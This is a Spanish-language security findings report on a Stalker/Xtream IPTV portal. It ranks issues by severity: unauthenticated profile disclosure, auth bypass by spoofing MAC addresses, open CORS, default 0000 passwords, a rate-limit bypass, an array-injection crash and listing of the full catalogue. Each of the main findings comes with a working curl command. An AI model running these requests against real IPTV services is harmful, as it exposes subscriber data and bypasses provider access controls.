Hallazgos Confirmados
Findings de severidad alta, media y baja — info disclosure, auth bypass, CORS abierto y catalogo expuesto
Lo Que Encontramos (Hallazgos Confirmados)
Mapa de Severidades
Hallazgos de Severidad Alta
1. Information Disclosure (CRITICO)
El endpoint get_profile de la STB API devuelve informacion completa del usuario sin requerir autenticacion real:
curl "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=stb&action=get_profile" \
-H "Cookie: mac=cualquier cosa"Datos expuestos (75+ campos):
| Campo | Valor Ejemplo | Riesgo |
|---|---|---|
id | 1 | ID de usuario |
mac | (se refleja la cookie) | Identificador del dispositivo |
blocked | 1 | Estado de la cuenta |
ip | XXX.XXX.XXX.XXX | Ultima IP conocida |
settings_password | 0000 | Password de configuracion |
parent_password | 0000 | Password parental |
default_timezone | Europe/Brussels | Ubicacion del servidor |
web_proxy_host | (vacio) | Posible vector SSRF |
update_url | (vacio) | Posible vector SSRF |
2. Auth Bypass por MAC Spoofing
El sistema de handshake genera tokens validos para CUALQUIER direccion MAC:
# Con MAC real
curl ".../load.php?type=stb&action=handshake" -H "Cookie: mac=XX%3AXX%3AXX%3AXX%3AXX%3AXX"
# -> {"js":{"token":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"}}
# Con MAC inventada
curl ".../load.php?type=stb&action=handshake" -H "Cookie: mac=AA%3ABB%3ACC%3ADD%3AEE%3AFF"
# -> {"js":{"token":"..."} (Tambien funciona!)3. CORS Completamente Abierto
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSCualquier sitio web puede hacer peticiones a la API desde el navegador del usuario.
Hallazgos de Severidad Media
| # | Finding | Detalle |
|---|---|---|
| 4 | Default Passwords | settings_password=0000, parent_password=0000 en STB profile |
| 5 | Rate Limit Bypass | POST-only ban; GET handshake funciona durante el cooldown. 5-15 min recovery |
| 6 | Array Injection Crash | action[]= -> 500 Server Error (potencial DoS) |
Hallazgos de Severidad Baja / Informacional
| # | Finding | Detalle |
|---|---|---|
| 7 | Version Leak | OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 -> Ubuntu 22.04 LTS |
| 8 | Stalker v5.3.1 | Confirmado via player_api.php, modulos, localizacion |
| 9 | Dual Framework Expuesto | Silex + Laravel — comportamiento diferente por metodo |
| 10 | RoadRunner Expuesto | X-Powered-By: RoadRunner en headers de redirect VOD |
| 11 | VOD Tokens Sin Rate Limit | Tokens de un solo uso, pero generacion ilimitada via Xtream API |
Catalogo Completo Listable sin Auth Completa
Aclaracion: Ya sabia que mi proveedor tiene miles de canales — es mi servicio de IPTV. Lo que fue un hallazgo es poder listar TODO el catalogo de 22,000+ canales del proveedor (no solo mi suscripcion) usando tecnicas de bypass.
# Con mis credenciales normales -> solo veo mis canales
curl "http://.../player_api.php?username=USER&password=PASS&action=get_live_streams"
# Pero via panel_api (sin auth de usuario) -> catalogo COMPLETO
curl "http://.../panel_api.php?username=USER&password=PASS"
# -> 11MB de JSON con TODOS los 22,000+ canales del proveedorLa diferencia es sutil pero importante: como cliente normal solo ves tu paquete. Pero la API de panel expone todo el inventario del proveedor si conoces cualquier credencial valida.
Dos Sistemas de Autenticacion Paralelos
Un descubrimiento arquitectonico importante: el sistema tiene DOS mecanismos de auth independientes:
Comportamiento curioso:
- STB API dice "Auth Required" para contenido (
type=itv/vod) - Xtream API con las mismas credenciales funciona perfectamente
- El campo
blocked=1en STB API parece no tener efecto en Xtream API